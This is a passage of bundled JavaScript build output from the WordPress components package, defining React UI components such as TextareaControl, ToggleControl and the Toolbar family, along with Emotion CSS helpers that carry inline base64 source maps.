48228 // packages/components/build-module/textarea-control/index.mjs
48229 var import_jsx_runtime270 = __toESM(require_jsx_runtime(), 1);
48230 function UnforwardedTextareaControl(props, ref) {
48231 const {
48232 // Prevent passing this to `textarea`.
48233 __nextHasNoMarginBottom: _2,
48234 label,
48235 hideLabelFromVision,
48236 value,
48237 help,
48238 onChange,
48239 rows = 4,
48240 className: className2,
48241 ...additionalProps
48242 } = props;
48243 const instanceId = (0, import_compose73.useInstanceId)(TextareaControl);
48244 const id3 = `inspector-textarea-control-${instanceId}`;
48245 const onChangeValue = (event) => onChange(event.target.value);
48246 const classes = clsx_default("components-textarea-control", className2);
48247 return /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(base_control_default, {
48248 label,
48249 hideLabelFromVision,
48250 id: id3,
48251 help,
48252 className: classes,
48253 children: /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(StyledTextarea, {
48254 className: "components-textarea-control__input",
48255 id: id3,
48256 rows,
48257 onChange: onChangeValue,
48258 "aria-describedby": !!help ? id3 + "__help" : void 0,
48259 value,
48260 ref,
48261 ...additionalProps
48262 })
48263 });
48264 }
48265 var TextareaControl = (0, import_element194.forwardRef)(UnforwardedTextareaControl);
48266 TextareaControl.displayName = "TextareaControl";
48267 var textarea_control_default = TextareaControl;
48268
48269 // packages/components/build-module/text-highlight/index.mjs
48270 var import_element195 = __toESM(require_element(), 1);
48271 var import_jsx_runtime271 = __toESM(require_jsx_runtime(), 1);
48272 var TextHighlight = (props) => {
48273 const {
48274 text = "",
48275 highlight = ""
48276 } = props;
48277 const trimmedHighlightText = highlight.trim();
48278 if (!trimmedHighlightText) {
48279 return /* @__PURE__ */ (0, import_jsx_runtime271.jsx)(import_jsx_runtime271.Fragment, {
48280 children: text
48281 });
48282 }
48283 const regex = new RegExp(`(${escapeRegExp(trimmedHighlightText)})`, "gi");
48284 return (0, import_element195.createInterpolateElement)(text.replace(regex, "<mark>$&</mark>"), {
48285 mark: /* @__PURE__ */ (0, import_jsx_runtime271.jsx)("mark", {})
48286 });
48287 };
48288 TextHighlight.displayName = "TextHighlight";
48289 var text_highlight_default = TextHighlight;
48290
48291 // packages/components/build-module/tip/index.mjs
48292 var import_jsx_runtime272 = __toESM(require_jsx_runtime(), 1);
48293 function Tip(props) {
48294 const {
48295 children
48296 } = props;
48297 return /* @__PURE__ */ (0, import_jsx_runtime272.jsxs)("div", {
48298 className: "components-tip",
48299 children: [/* @__PURE__ */ (0, import_jsx_runtime272.jsx)(icon_default2, {
48300 icon: tip_default
48301 }), /* @__PURE__ */ (0, import_jsx_runtime272.jsx)("p", {
48302 children
48303 })]
48304 });
48305 }
48306 var tip_default2 = Tip;
48307
48308 // packages/components/build-module/toggle-control/index.mjs
48309 var import_element196 = __toESM(require_element(), 1);
48310 var import_compose74 = __toESM(require_compose(), 1);
48311 var import_jsx_runtime273 = __toESM(require_jsx_runtime(), 1);
48312 function UnforwardedToggleControl({
48313 label,
48314 checked,
48315 help,
48316 className: className2,
48317 onChange,
48318 disabled,
48319 // Prevent passing to internal component.
48320 __nextHasNoMarginBottom: _2,
48321 ...additionalProps
48322 }, ref) {
48323 function onChangeToggle(event) {
48324 onChange(event.target.checked);
48325 }
48326 const instanceId = (0, import_compose74.useInstanceId)(ToggleControl);
48327 const id3 = `inspector-toggle-control-${instanceId}`;
48328 let describedBy, helpLabel;
48329 if (help) {
48330 if (typeof help === "function") {
48331 if (checked !== void 0) {
48332 helpLabel = help(checked);
48333 }
48334 } else {
48335 helpLabel = help;
48336 }
48337 if (helpLabel) {
48338 describedBy = id3 + "__help";
48339 }
48340 }
48341 return /* @__PURE__ */ (0, import_jsx_runtime273.jsx)(base_control_default, {
48342 id: id3,
48343 help: helpLabel && /* @__PURE__ */ (0, import_jsx_runtime273.jsx)("span", {
48344 className: "components-toggle-control__help",
48345 children: helpLabel
48346 }),
48347 className: clsx_default("components-toggle-control", className2),
48348 children: /* @__PURE__ */ (0, import_jsx_runtime273.jsxs)(component_default9, {
48349 justify: "flex-start",
48350 spacing: 2,
48351 children: [/* @__PURE__ */ (0, import_jsx_runtime273.jsx)(form_toggle_default, {
48352 id: id3,
48353 checked,
48354 onChange: onChangeToggle,
48355 "aria-describedby": describedBy,
48356 disabled,
48357 ref,
48358 ...additionalProps
48359 }), /* @__PURE__ */ (0, import_jsx_runtime273.jsx)(component_default5, {
48360 as: "label",
48361 htmlFor: id3,
48362 className: clsx_default("components-toggle-control__label", {
48363 "is-disabled": disabled
48364 }),
48365 children: label
48366 })]
48367 })
48368 });
48369 }
48370 var ToggleControl = (0, import_element196.forwardRef)(UnforwardedToggleControl);
48371 ToggleControl.displayName = "ToggleControl";
48372 var toggle_control_default = ToggleControl;
48373
48374 // packages/components/build-module/toolbar/toolbar/index.mjs
48375 var import_element203 = __toESM(require_element(), 1);
48376 var import_deprecated25 = __toESM(require_deprecated(), 1);
48377
48378 // packages/components/build-module/toolbar/toolbar-group/index.mjs
48379 var import_element201 = __toESM(require_element(), 1);
48380
48381 // packages/components/build-module/toolbar/toolbar-button/index.mjs
48382 var import_element199 = __toESM(require_element(), 1);
48383
48384 // packages/components/build-module/toolbar/toolbar-item/index.mjs
48385 var import_element198 = __toESM(require_element(), 1);
48386 var import_warning10 = __toESM(require_warning(), 1);
48387
48388 // packages/components/build-module/toolbar/toolbar-context/index.mjs
48389 var import_element197 = __toESM(require_element(), 1);
48390 var ToolbarContext = (0, import_element197.createContext)(void 0);
48391 ToolbarContext.displayName = "ToolbarContext";
48392 var toolbar_context_default = ToolbarContext;
48393
48394 // packages/components/build-module/toolbar/toolbar-item/index.mjs
48395 var import_jsx_runtime274 = __toESM(require_jsx_runtime(), 1);
48396 function UnforwardedToolbarItem({
48397 children,
48398 as: Component9,
48399 ...props
48400 }, ref) {
48401 const accessibleToolbarStore = (0, import_element198.useContext)(toolbar_context_default);
48402 const isRenderProp = typeof children === "function";
48403 if (!isRenderProp && !Component9) {
48404 true ? (0, import_warning10.default)("`ToolbarItem` is a generic headless component. You must pass either a `children` prop as a function or an `as` prop as a component. See https://developer.wordpress.org/block-editor/components/toolbar-item/") : void 0;
48405 return null;
48406 }
48407 const allProps = {
48408 ...props,
48409 ref,
48410 "data-toolbar-item": true
48411 };
48412 if (!accessibleToolbarStore) {
48413 if (Component9) {
48414 return /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(Component9, {
48415 ...allProps,
48416 children
48417 });
48418 }
48419 if (!isRenderProp) {
48420 return null;
48421 }
48422 return children(allProps);
48423 }
48424 const render = isRenderProp ? children : Component9 && /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(Component9, {
48425 children
48426 });
48427 return /* @__PURE__ */ (0, import_jsx_runtime274.jsx)(ToolbarItem, {
48428 accessibleWhenDisabled: true,
48429 ...allProps,
48430 store: accessibleToolbarStore,
48431 render
48432 });
48433 }
48434 var ToolbarItem22 = (0, import_element198.forwardRef)(UnforwardedToolbarItem);
48435 ToolbarItem22.displayName = "ToolbarItem";
48436 var toolbar_item_default = ToolbarItem22;
48437
48438 // packages/components/build-module/toolbar/toolbar-button/toolbar-button-container.mjs
48439 var import_jsx_runtime275 = __toESM(require_jsx_runtime(), 1);
48440 var ToolbarButtonContainer = ({
48441 children,
48442 className: className2
48443 }) => /* @__PURE__ */ (0, import_jsx_runtime275.jsx)("div", {
48444 className: className2,
48445 children
48446 });
48447 var toolbar_button_container_default = ToolbarButtonContainer;
48448
48449 // packages/components/build-module/toolbar/toolbar-button/index.mjs
48450 var import_jsx_runtime276 = __toESM(require_jsx_runtime(), 1);
48451 function useDeprecatedProps6({
48452 isDisabled,
48453 ...otherProps
48454 }) {
48455 return {
48456 disabled: isDisabled,
48457 ...otherProps
48458 };
48459 }
48460 function UnforwardedToolbarButton(props, ref) {
48461 const {
48462 children,
48463 className: className2,
48464 containerClassName,
48465 extraProps,
48466 isActive,
48467 title,
48468 ...restProps
48469 } = useDeprecatedProps6(props);
48470 const accessibleToolbarState = (0, import_element199.useContext)(toolbar_context_default);
48471 if (!accessibleToolbarState) {
48472 return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(toolbar_button_container_default, {
48473 className: containerClassName,
48474 children: /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(button_default, {
48475 ref,
48476 icon: restProps.icon,
48477 size: "compact",
48478 label: title,
48479 shortcut: restProps.shortcut,
48480 "data-subscript": restProps.subscript,
48481 onClick: (event) => {
48482 event.stopPropagation();
48483 if (restProps.onClick) {
48484 restProps.onClick(event);
48485 }
48486 },
48487 className: clsx_default("components-toolbar__control", className2),
48488 isPressed: isActive,
48489 accessibleWhenDisabled: true,
48490 "data-toolbar-item": true,
48491 ...extraProps,
48492 ...restProps,
48493 children
48494 })
48495 });
48496 }
48497 return /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(toolbar_item_default, {
48498 className: clsx_default("components-toolbar-button", className2),
48499 ...extraProps,
48500 ...restProps,
48501 ref,
48502 children: (toolbarItemProps) => /* @__PURE__ */ (0, import_jsx_runtime276.jsx)(button_default, {
48503 size: "compact",
48504 label: title,
48505 isPressed: isActive,
48506 ...toolbarItemProps,
48507 children
48508 })
48509 });
48510 }
48511 var ToolbarButton = (0, import_element199.forwardRef)(UnforwardedToolbarButton);
48512 ToolbarButton.displayName = "ToolbarButton";
48513 var toolbar_button_default = ToolbarButton;
48514
48515 // packages/components/build-module/toolbar/toolbar-group/toolbar-group-container.mjs
48516 var import_jsx_runtime277 = __toESM(require_jsx_runtime(), 1);
48517 var ToolbarGroupContainer = ({
48518 className: className2,
48519 children,
48520 ...props
48521 }) => /* @__PURE__ */ (0, import_jsx_runtime277.jsx)("div", {
48522 className: className2,
48523 ...props,
48524 children
48525 });
48526 var toolbar_group_container_default = ToolbarGroupContainer;
48527
48528 // packages/components/build-module/toolbar/toolbar-group/toolbar-group-collapsed.mjs
48529 var import_element200 = __toESM(require_element(), 1);
48530 var import_jsx_runtime278 = __toESM(require_jsx_runtime(), 1);
48531 function ToolbarGroupCollapsed({
48532 controls = [],
48533 toggleProps,
48534 ...props
48535 }) {
48536 const accessibleToolbarState = (0, import_element200.useContext)(toolbar_context_default);
48537 const renderDropdownMenu = (internalToggleProps) => /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(dropdown_menu_default, {
48538 controls,
48539 toggleProps: {
48540 ...internalToggleProps,
48541 "data-toolbar-item": true
48542 },
48543 ...props
48544 });
48545 if (accessibleToolbarState) {
48546 return /* @__PURE__ */ (0, import_jsx_runtime278.jsx)(toolbar_item_default, {
48547 ...toggleProps,
48548 children: renderDropdownMenu
48549 });
48550 }
48551 return renderDropdownMenu(toggleProps);
48552 }
48553 var toolbar_group_collapsed_default = ToolbarGroupCollapsed;
48554
48555 // packages/components/build-module/toolbar/toolbar-group/index.mjs
48556 var import_jsx_runtime279 = __toESM(require_jsx_runtime(), 1);
48557 function isNestedArray(arr) {
48558 return Array.isArray(arr) && Array.isArray(arr[0]);
48559 }
48560 function ToolbarGroup({
48561 controls = [],
48562 children,
48563 className: className2,
48564 isCollapsed: isCollapsed2,
48565 title,
48566 ...props
48567 }) {
48568 const accessibleToolbarState = (0, import_element201.useContext)(toolbar_context_default);
48569 if ((!controls || !controls.length) && !children) {
48570 return null;
48571 }
48572 const finalClassName = clsx_default(
48573 // Unfortunately, there's legacy code referencing to `.components-toolbar`
48574 // So we can't get rid of it
48575 accessibleToolbarState ? "components-toolbar-group" : "components-toolbar",
48576 className2
48577 );
48578 let controlSets;
48579 if (isNestedArray(controls)) {
48580 controlSets = controls;
48581 } else {
48582 controlSets = [controls];
48583 }
48584 if (isCollapsed2) {
48585 return /* @__PURE__ */ (0, import_jsx_runtime279.jsx)(toolbar_group_collapsed_default, {
48586 label: title,
48587 controls: controlSets,
48588 className: finalClassName,
48589 children,
48590 ...props
48591 });
48592 }
48593 return /* @__PURE__ */ (0, import_jsx_runtime279.jsxs)(toolbar_group_container_default, {
48594 className: finalClassName,
48595 ...props,
48596 children: [controlSets?.flatMap((controlSet, indexOfSet) => controlSet.map((control, indexOfControl) => /* @__PURE__ */ (0, import_jsx_runtime279.jsx)(toolbar_button_default, {
48597 containerClassName: indexOfSet > 0 && indexOfControl === 0 ? "has-left-divider" : void 0,
48598 ...control
48599 }, [indexOfSet, indexOfControl].join()))), children]
48600 });
48601 }
48602 var toolbar_group_default = ToolbarGroup;
48603
48604 // packages/components/build-module/toolbar/toolbar/toolbar-container.mjs
48605 var import_element202 = __toESM(require_element(), 1);
48606 var import_i18n77 = __toESM(require_i18n(), 1);
48607 var import_jsx_runtime280 = __toESM(require_jsx_runtime(), 1);
48608 function UnforwardedToolbarContainer({
48609 label,
48610 ...props
48611 }, ref) {
48612 const toolbarStore = useToolbarStore({
48613 focusLoop: true,
48614 rtl: (0, import_i18n77.isRTL)()
48615 });
48616 return (
48617 // This will provide state for `ToolbarButton`'s
48618 /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(toolbar_context_default.Provider, {
48619 value: toolbarStore,
48620 children: /* @__PURE__ */ (0, import_jsx_runtime280.jsx)(Toolbar, {
48621 ref,
48622 "aria-label": label,
48623 store: toolbarStore,
48624 ...props
48625 })
48626 })
48627 );
48628 }
48629 var ToolbarContainer2 = (0, import_element202.forwardRef)(UnforwardedToolbarContainer);
48630 ToolbarContainer2.displayName = "ToolbarContainer";
48631 var toolbar_container_default = ToolbarContainer2;
48632
48633 // packages/components/build-module/toolbar/toolbar/index.mjs
48634 var import_jsx_runtime281 = __toESM(require_jsx_runtime(), 1);
48635 function UnforwardedToolbar({
48636 className: className2,
48637 label,
48638 variant,
48639 ...props
48640 }, ref) {
48641 const isVariantDefined = variant !== void 0;
48642 const contextSystemValue = (0, import_element203.useMemo)(() => {
48643 if (isVariantDefined) {
48644 return {};
48645 }
48646 return {
48647 DropdownMenu: {
48648 variant: "toolbar"
48649 },
48650 Dropdown: {
48651 variant: "toolbar"
48652 },
48653 Menu: {
48654 variant: "toolbar"
48655 }
48656 };
48657 }, [isVariantDefined]);
48658 if (!label) {
48659 (0, import_deprecated25.default)("Using Toolbar without label prop", {
48660 since: "5.6",
48661 alternative: "ToolbarGroup component",
48662 link: "https://developer.wordpress.org/block-editor/components/toolbar/"
48663 });
48664 const {
48665 title: _title,
48666 ...restProps
48667 } = props;
48668 return /* @__PURE__ */ (0, import_jsx_runtime281.jsx)(toolbar_group_default, {
48669 isCollapsed: false,
48670 ...restProps,
48671 className: className2
48672 });
48673 }
48674 const finalClassName = clsx_default("components-accessible-toolbar", className2, variant && `is-${variant}`);
48675 return /* @__PURE__ */ (0, import_jsx_runtime281.jsx)(ContextSystemProvider, {
48676 value: contextSystemValue,
48677 children: /* @__PURE__ */ (0, import_jsx_runtime281.jsx)(toolbar_container_default, {
48678 className: finalClassName,
48679 label,
48680 ref,
48681 ...props
48682 })
48683 });
48684 }
48685 var Toolbar3 = (0, import_element203.forwardRef)(UnforwardedToolbar);
48686 Toolbar3.displayName = "Toolbar";
48687 var toolbar_default = Toolbar3;
48688
48689 // packages/components/build-module/toolbar/toolbar-dropdown-menu/index.mjs
48690 var import_element204 = __toESM(require_element(), 1);
48691 var import_jsx_runtime282 = __toESM(require_jsx_runtime(), 1);
48692 function UnforwardedToolbarDropdownMenu(props, ref) {
48693 const accessibleToolbarState = (0, import_element204.useContext)(toolbar_context_default);
48694 if (!accessibleToolbarState) {
48695 return /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(dropdown_menu_default, {
48696 ...props
48697 });
48698 }
48699 return /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(toolbar_item_default, {
48700 ref,
48701 ...props.toggleProps,
48702 children: (toolbarItemProps) => /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(dropdown_menu_default, {
48703 ...props,
48704 popoverProps: {
48705 ...props.popoverProps
48706 },
48707 toggleProps: toolbarItemProps
48708 })
48709 });
48710 }
48711 var ToolbarDropdownMenu = (0, import_element204.forwardRef)(UnforwardedToolbarDropdownMenu);
48712 ToolbarDropdownMenu.displayName = "ToolbarDropdownMenu";
48713 var toolbar_dropdown_menu_default = ToolbarDropdownMenu;
48714
48715 // packages/components/build-module/tools-panel/tools-panel-header/component.mjs
48716 var import_a11y11 = __toESM(require_a11y(), 1);
48717 var import_i18n78 = __toESM(require_i18n(), 1);
48718
48719 // packages/components/build-module/tools-panel/tools-panel-header/hook.mjs
48720 var import_element206 = __toESM(require_element(), 1);
48721
48722 // packages/components/build-module/tools-panel/styles.mjs
48723 function _EMOTION_STRINGIFIED_CSS_ERROR__39() {
48724 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
48725 }
48726 var toolsPanelGrid = {
48727 columns: (columns) => /* @__PURE__ */ css("grid-template-columns:", `repeat( ${columns}, minmax(0, 1fr) )`, ";" + (false ? "" : ";label:columns;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrQm9DIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHtcblx0U3R5bGVkRmllbGQgYXMgQmFzZUNvbnRyb2xGaWVsZCxcblx0U3R5bGVkSGVscCBhcyBCYXNlQ29udHJvbEhlbHAsXG5cdFdyYXBwZXIgYXMgQmFzZUNvbnRyb2xXcmFwcGVyLFxufSBmcm9tICcuLi9iYXNlLWNvbnRyb2wvc3R5bGVzL2Jhc2UtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuXG5jb25zdCB0b29sc1BhbmVsR3JpZCA9IHtcblx0Y29sdW1uczogKCBjb2x1bW5zOiBudW1iZXIgKSA9PiBjc3NgXG5cdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAkeyBgcmVwZWF0KCAkeyBjb2x1bW5zIH0sIG1pbm1heCgwLCAxZnIpIClgIH07XG5cdGAsXG5cdHNwYWNpbmc6IGNzc2Bcblx0XHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggNCApIH07XG5cdFx0cm93LWdhcDogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHRpdGVtOiB7XG5cdFx0ZnVsbFdpZHRoOiBjc3NgXG5cdFx0XHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXHRcdGAsXG5cdH0sXG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbCA9ICggY29sdW1uczogbnVtYmVyICkgPT4gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5jb2x1bW5zKCBjb2x1bW5zICkgfVxuXHQkeyB0b29sc1BhbmVsR3JpZC5zcGFjaW5nIH1cblxuXHRib3JkZXItdG9wOiAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSBzb2xpZCAkeyBDT0xPUlMuZ3JheVsgMzAwIF0gfTtcblx0bWFyZ2luLXRvcDogLTFweDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuLyoqXG4gKiBJdGVtcyBpbmplY3RlZCBpbnRvIGEgVG9vbHNQYW5lbCB2aWEgYSB2aXJ0dWFsIGJ1YmJsaW5nIHNsb3Qgd2lsbCByZXF1aXJlXG4gKiBhbiBpbm5lciBkb20gZWxlbWVudCB0byBiZSBpbmplY3RlZC4gVGhlIGZvbGxvd2luZyBydWxlIGFsbG93cyBmb3IgdGhlXG4gKiBDU1MgZ3JpZCBkaXNwbGF5IHRvIGJlIHJlLWVzdGFibGlzaGVkLlxuICovXG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsV2l0aElubmVyV3JhcHBlciA9ICggY29sdW1uczogbnVtYmVyICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdD4gZGl2Om5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuY29sdW1ucyggY29sdW1ucyApIH1cblx0XHRcdCR7IHRvb2xzUGFuZWxHcmlkLnNwYWNpbmcgfVxuXHRcdFx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGlkZGVuSW5uZXJXcmFwcGVyID0gY3NzYFxuXHQ+IGRpdjpub3QoIDpmaXJzdC1vZi10eXBlICkge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSGVhZGVyID0gY3NzYFxuXHQkeyB0b29sc1BhbmVsR3JpZC5pdGVtLmZ1bGxXaWR0aCB9XG5cdGdhcDogJHsgc3BhY2UoIDIgKSB9O1xuXG5cdC8qKlxuXHQgKiBUaGUgdGFyZ2V0aW5nIG9mIGRyb3Bkb3duIG1lbnUgY29tcG9uZW50IGNsYXNzZXMgaGVyZSBpcyBhIHRlbXBvcmFyeVxuXHQgKiBtZWFzdXJlIG9ubHkuXG5cdCAqXG5cdCAqIFRoZSBmb2xsb3dpbmcgc3R5bGVzIHNob3VsZCBiZSByZXBsYWNlZCBvbmNlIHRoZSBEcm9wZG93bk1lbnUgaGFzIGJlZW5cblx0ICogcmVmYWN0b3JlZCBhbmQgY2FuIGJlIHRhcmdldGVkIHZpYSBjb21wb25lbnQgaW50ZXJwb2xhdGlvbi5cblx0ICovXG5cdC5jb21wb25lbnRzLWRyb3Bkb3duLW1lbnUge1xuXHRcdG1hcmdpbjogJHsgc3BhY2UoIC0xICkgfSAwO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9XG5cdCYmJiYgLmNvbXBvbmVudHMtZHJvcGRvd24tbWVudV9fdG9nZ2xlIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdG1pbi13aWR0aDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEhlYWRpbmcgPSBjc3NgXG5cdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiBub3JtYWw7XG5cblx0LyogUmVxdWlyZWQgdG8gbWVldCBzcGVjaWZpY2l0eSByZXF1aXJlbWVudHMgdG8gZW5zdXJlIHplcm8gbWFyZ2luICovXG5cdCYmIHtcblx0XHRtYXJnaW46IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsSXRlbSA9IGNzc2Bcblx0JHsgdG9vbHNQYW5lbEdyaWQuaXRlbS5mdWxsV2lkdGggfVxuXG5cdC8qIENsZWFyIHNwYWNpbmcgaW4gYW5kIGFyb3VuZCBjb250cm9scyBhZGRlZCBhcyBwYW5lbCBpdGVtcy4gKi9cblx0LyogUmVtb3ZlIHdoZW4gdGhleSBjYW4gYmUgYWRkcmVzc2VkIHZpYSBjb250ZXh0IHN5c3RlbS4gKi9cblx0JiA+IGRpdixcblx0JiA+IGZpZWxkc2V0IHtcblx0XHRwYWRkaW5nLWJvdHRvbTogMDtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0fVxuXG5cdC8qIFJlbW92ZSBCYXNlQ29udHJvbCBjb21wb25lbnRzIG1hcmdpbnMgYW5kIGxlYXZlIHNwYWNpbmcgdG8gZ3JpZCBsYXlvdXQgKi9cblx0JiYgJHsgQmFzZUNvbnRyb2xXcmFwcGVyIH0ge1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cblx0XHQvKipcblx0XHQgKiBUbyBtYWludGFpbiBwcm9wZXIgc3BhY2luZyB3aXRoaW4gYSBiYXNlIGNvbnRyb2wsIHRoZSBmaWVsZCdzIGJvdHRvbVxuXHRcdCAqIG1hcmdpbiBzaG91bGQgb25seSBiZSByZW1vdmVkIHdoZW4gdGhlcmUgaXMgbm8gaGVscCB0ZXh0IGluY2x1ZGVkIGFuZFxuXHRcdCAqIGl0IGlzIHRoZXJlZm9yZSB0aGUgbGFzdC1jaGlsZC5cblx0XHQgKi9cblx0XHQkeyBCYXNlQ29udHJvbEZpZWxkIH06bGFzdC1jaGlsZCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxuXG5cdCR7IEJhc2VDb250cm9sSGVscCB9IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHNQYW5lbEl0ZW1QbGFjZWhvbGRlciA9IGNzc2Bcblx0ZGlzcGxheTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBEcm9wZG93bk1lbnUgPSBjc3NgXG5cdG1pbi13aWR0aDogMjAwcHg7XG5gO1xuXG5leHBvcnQgY29uc3QgUmVzZXRMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudERhcmtlcjEwIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiBzcGFjZSggMyApIH0gKSB9XG5cdHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG5gO1xuXG5leHBvcnQgY29uc3QgRGVmYXVsdENvbnRyb2xzSXRlbSA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXG5cdCYmW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuXHRcdG9wYWNpdHk6IDE7XG5cblx0XHQmOmhvdmVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcblx0XHR9XG5cblx0XHQkeyBSZXNldExhYmVsIH0ge1xuXHRcdFx0b3BhY2l0eTogMC4zO1xuXHRcdH1cblx0fVxuYDtcbiJdfQ== */"),
48728 spacing: /* @__PURE__ */ css("column-gap:", space(4), ";row-gap:", space(4), ";" + (false ? "" : ";label:spacing;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxQmEiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQge1xuXHRTdHlsZWRGaWVsZCBhcyBCYXNlQ29udHJvbEZpZWxkLFxuXHRTdHlsZWRIZWxwIGFzIEJhc2VDb250cm9sSGVscCxcblx0V3JhcHBlciBhcyBCYXNlQ29udHJvbFdyYXBwZXIsXG59IGZyb20gJy4uL2Jhc2UtY29udHJvbC9zdHlsZXMvYmFzZS1jb250cm9sLXN0eWxlcyc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5cbmNvbnN0IHRvb2xzUGFuZWxHcmlkID0ge1xuXHRjb2x1bW5zOiAoIGNvbHVtbnM6IG51bWJlciApID0+IGNzc2Bcblx0XHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6ICR7IGByZXBlYXQoICR7IGNvbHVtbnMgfSwgbWlubWF4KDAsIDFmcikgKWAgfTtcblx0YCxcblx0c3BhY2luZzogY3NzYFxuXHRcdGNvbHVtbi1nYXA6ICR7IHNwYWNlKCA0ICkgfTtcblx0XHRyb3ctZ2FwOiAkeyBzcGFjZSggNCApIH07XG5cdGAsXG5cdGl0ZW06IHtcblx0XHRmdWxsV2lkdGg6IGNzc2Bcblx0XHRcdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cdFx0YCxcblx0fSxcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sc1BhbmVsID0gKCBjb2x1bW5zOiBudW1iZXIgKSA9PiBjc3NgXG5cdCR7IHRvb2xzUGFuZWxHcmlkLmNvbHVtbnMoIGNvbHVtbnMgKSB9XG5cdCR7IHRvb2xzUGFuZWxHcmlkLnNwYWNpbmcgfVxuXG5cdGJvcmRlci10b3A6ICR7IENPTkZ